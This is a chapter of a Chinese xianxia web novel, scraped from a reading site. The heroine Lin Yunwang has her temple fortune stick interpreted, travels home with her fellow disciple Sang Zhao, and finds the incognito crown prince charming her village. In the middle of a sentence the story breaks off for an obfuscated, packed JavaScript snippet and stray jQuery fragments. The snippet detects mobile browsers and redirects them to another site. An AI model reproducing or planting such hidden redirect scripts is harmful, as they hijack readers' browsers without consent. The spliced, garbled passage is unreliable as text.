默认冷灰
24号文字
方正启体

19. 解签

作者:远林屋散本书字数:K更新时间:
    观南正随着林云往朝禅房处张望,见到来人,匆忙合掌行礼,“了舟师兄。”


    来人轻轻颔首,“女施主,主持邀您去藏经阁解签。”


    “可我……”她欲拒绝。


    “桑施主也在那里。”


    林云往吞下拒绝的话。蹲下身子,从袖中掏出一包麦芽糖。她一直在想有什么能送给小沙弥的,忽然摸到袖中时常哄村中孩童的糖果,心想这正合适。


    她强硬地将糖塞进他的手中,“这是谢礼。”也是歉礼。


    说罢,转身与了舟一同去了藏经阁。


    大门随沉稳的僧人的动作打开,藏经阁中淡淡的墨香混合着檀香飘来。


    藏经阁中,不只有桑照和觉慧大师,还有萧知常以及一位未曾见过的女子。


    竹帘之内,觉慧正为白衣女子解签,那人的帷帽垂落在胸前。随看不清脸庞,但也可窥见几分不凡。


    萧知常的大半注意力都在里间,连袖口被茶渍湿都浑然不觉。


    林云往走到桑照旁边,“师兄,常公子。”


    锦衣公子直到听见她的声音,才蓦然回神,恍若大梦初醒。


    “林姑娘,你来了。”他眼神里闪过尴尬之色,很快又被一贯的散漫所代替。


    桑照将他身侧的凳子往外移动了些,方便林云往坐下。


    正欲给她倒茶,手摸上茶壶时,却发现原本的茶水已经凉了,了舟适时上前换成新的茶水。


    声音隐隐约约从屋内传来,听得并不真切。


    “此事求谋运限通,今时不与旧时同。”大师沉吟片刻,“施主所求之事时运已至。”


    “但新旧更迭间暗藏变数,施主仍需……”


    本就听得模糊,再加上林云往的注意力也被桑照夺了去,她完全听不见里面在说些什么了。


    桑照正向她展示自己抽到的签文。


    掘井人逢雨,回头路已虹。


    林云往正要细看签文,忽见竹帘轻卷。白衣女子帷帽垂纱微动,面庞仍未流出半分。


    她向云往投来一瞥——素纱如烟波浮动,半掩的轮廓转瞬间又隐入阴影。


    林云往起身,抱拳说道:“在下林云往,塞北人士。敢问姑娘芳名?”


    女子的帷帽微倾,压低了声音说:“萍絮无根之人,何劳记取名姓。”


    这回答引得林云往莞尔一笑,并未追问。只是觉得这声音有些耳熟。但还来不及细想,便被觉慧大师唤了进去。


    “林施主未曾抽签。”觉慧递来竹筒。


    在竹签相击清响中,林云往抽出支空签,“看来佛祖嫌我心意不诚。”


    “诸法皆空。”他又将竹筒推了过来。


    林云往顺从地又抽了一签文,心想抽只吉签讨个彩头也是不错的。


    端正的小楷写在竹签之上:铁舟载雪过焚城,新火原在此城中。


    她眉头微蹙,“这算是吉签吗?这''铁''与''火''听着凶险。”


    觉慧接过签文,宽慰她说:“施主不必拘泥吉与凶。”


    “吉凶本如阴阳双鱼。铁为庚金,雪乃壬水,火作丙丁——金生水而水克火,火熔金而复相成。这形成循环相克之势。”


    林云往点头称是,“原来此签还可以如此解吗?我的见识还是浅薄,还以为是说前路不顺。”


    “或是会遇到险境,但终会转危为安。”


    “多谢。”云往见她不再说话,欲转身离去。


    觉慧大师在她身后合十垂目,“因果轮转,自有明镜高悬。”


    林云往回首望向他。他却并不解释,“去吧,你的朋友正在等你。”


    待她回到外屋,只剩下桑照一人了。


    “师兄,我们走吧。”


    屋外,日头升的正高。


    她在心中计算着回到石溪村的时辰,发现正合适,于是乎眉间不自觉地带上了点点喜意,“此刻启程,正赶得及。”


    到了寺门口,却被一僧人拦下。


    “两位施主,请留步。贵人有话托小僧转达:梵音寺既承龙脉香火,自当如菩提无垢。”


    “他日若见,还望共叙今日佛前茶。”


    能让持皇家度牒的僧人低眉传讯者,普天之下唯三人耳。


    路上的氛围显得沉闷,车辙在石板路上碾出断续的闷响。


    桑照率先打破沉默,抿唇道:“抱歉,新妈妈不报,实非君子所为……”


    林云往闻言整理衣摆的指尖微顿,侧首看他,“不必道歉,他身份敏感,我自是理解的。”


    第一面,她便觉察这位常公子身份不简,况且按照他的化名与行事作风不像是想隐瞒自己身份的样子。


    “不过,此事算是解决了吧。”檀木车壁沁着凉意,她向后靠去,面露疲色,忍不住发出一声无奈的叹息。


    这怎么能算是解决了呢。只是依照萧知常的留言,梵音寺不能再查下去了。


    她与桑照虽是奉宗门师命来查此事,但启灵城与静吟宗前几日便将此事定性:邪修偷习禁书,对常人作用搜神之术,终身监禁。


    更况且仙盟有规定,不得无由干涉人间事宜,两人眼下并无凭据继续查下去。


    林云往很快调节好自己的情绪,转而研究起两人的签文。


    “师兄,觉慧大师如何解你的?”她摸着竹签,回想起在离开时她想要放回竹筒之中,却被拦下。


    “他只说了四个字:破除你执。”


    破除你执。


    林云往在舌尖反复咀嚼这四个字。


    “倒是简单明了。”


    她想说的话哽在她的喉咙,林云往不知道是否要借此开口询问桑照的心事。


    望着桑照深邃的双眸,云往还是没能问出口——静吟宗前宗主究竟是谁?那时发生了什么?可否与我说说?


    自捉拿邪修时,见识到他所用的雷法,桑照就变得不对劲。她仍然记得那时桑照煞白的脸色与无神的眼睛。


    而这几日也不见有好转,仿佛一直有千斤重的石头压在他心头,只能偶尔才能勉强扯出笑容,其余时间都在神游。


    林云往也试图从有关静吟宗的书籍中寻找答案,非但没有任何关于当年变故的记载,甚至连前任宗主的姓名都被彻底抹去。只说,现任宗主宁化是已是第二任。


    一路无言。


    桑照透过马车的侧窗望着掠过的风景,只是却不达眼底。那些本该消逝的紫电残影却在他眼底生了根,并愈发清晰——邪修掌中跃动的雷光虽如不强,却与前宗主一脉相承的术法。


    而林云往借着书页翻转的簌簌声,投以关切的目光。


    看书看得累了,她也看向窗外,视线中逐渐出现那熟悉的钟楼。


    “到了。”


    她心里有些酸涩。


    一方面是不舍,另一方面是不确定的未来。


    林云往向来钟情那些清澈见底的人心,偏好那些能望见结局的轨迹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175634|164262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。因为这会让她感到心安。


    这份对确定性的执着,从记事起就深植于她的骨血之中。


    可是,穿越以后,还未有什么东西是她能够牢牢的握在手中的。


    桑照安慰的话语打断了她的出神,他小心翼翼地措辞。


    “不必忧虑,静吟宗中的大家……都很好相处。”察觉到林云往的不安,这几日一直心神不宁的桑照反而安慰起她来。


    “我知道。”林云往将齿间的苦涩吞下,“静吟宗是个人杰地灵的好地方。”


    她以一种轻松的姿态,垫着脚尖,摸了一下桑照的头,“理解我这些时日我担忧你的心情了吧。”


    说完,便不理会愣在原地的桑照,装作大人一般背手离开。她心里觉得松快,终于将不知怎样开口的话,说了出去。


    临近村长的院落,林云往心跳如鼓,想着要给爷爷一个惊喜,飞快地掀开门帘,振声说道:“爷爷,我准时回来了!”


    不曾想,屋里有一大群人。村长并不在屋中,炕上围坐着八九个熟人。


    “呃……各位叔伯婶娘安好。”林云往从来没有这么尴尬过,脸“腾”得一下红了起来。


    可仔细去看,人群中还有一个今日早晨才打过照面的人,正笑而不语地看着她。


    “常……萧公子?”两个姓氏在她嘴里打了个转儿,最终吐出了个四不像的字。


    桑照此时也到了门口,惊讶不已。


    “云丫头回来啦。”


    刘婶强硬地将两人拉进屋内,“怎么还站在屋外?”


    “你认识素月的哥哥?”


    “有过一面之缘。”林云往说了一个挑不出错处的回答。


    看屋中几位婶子的表情,这人显然已将几位哄得心花怒放。


    立柜上摆着印有京城老字号红戳的礼盒,萧知常含笑立在阴影里,月白锦袍下摆沾着泥渍,倒真像个为妹妹奔走的寻常兄长——若是没有腰间的龙纹玉佩就更像了。


    “你不知道,素月姑娘的哥哥在京城做官……”


    林云往心惊肉跳地听着刘婶对萧知常的赞美之词,怕她开了个不好的玩笑,便犯了杀头的重罪。


    刘婶往她手里塞了块精致的糕点,“萧公子应承帮咱们弄户契呢!到底是京城当差的……”


    户契?京城当差?


    林云往被糕点呛住,咳嗽不止。


    一时屋中的人都看向她。


    她连连摆手,“不妨事,只是被呛住了。”


    “喝点茶水顺顺。”转而又夸赞起萧知常来,大家的文化水平不高,也不识得几个大字,夸赞的话不过是几句话来回说,但看这位贵客的模样,颇为受用。


    也不怪村中的人一个劲儿捧着他。单说那副皮囊,就已非池中之物,更不必说皮囊之下有更为重要的东西——权力。


    他也是抓住了大多人的命脉。


    村中正值总角的孩童日渐增多,偏杨素月终究是留不住的西席。为着童子开蒙的前程,亦不愿教这外来的姑娘被村塾绊住终身,谋取城中户契之事早已成了乡民心照不宣的要务。更遑论那方寸黄纸背后,还系着能教人安身立命的薄田——春种秋收的指望,全在这张契书里了。


    萧知常,贵为太子,来这一小小村庄笼络人心的缘由云往也猜出一二。


    林云往望向杨素月的草庐。


    恩威并施的帝王权术,这位坊间传闻不学无术的草包太子,倒是学了十成十。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)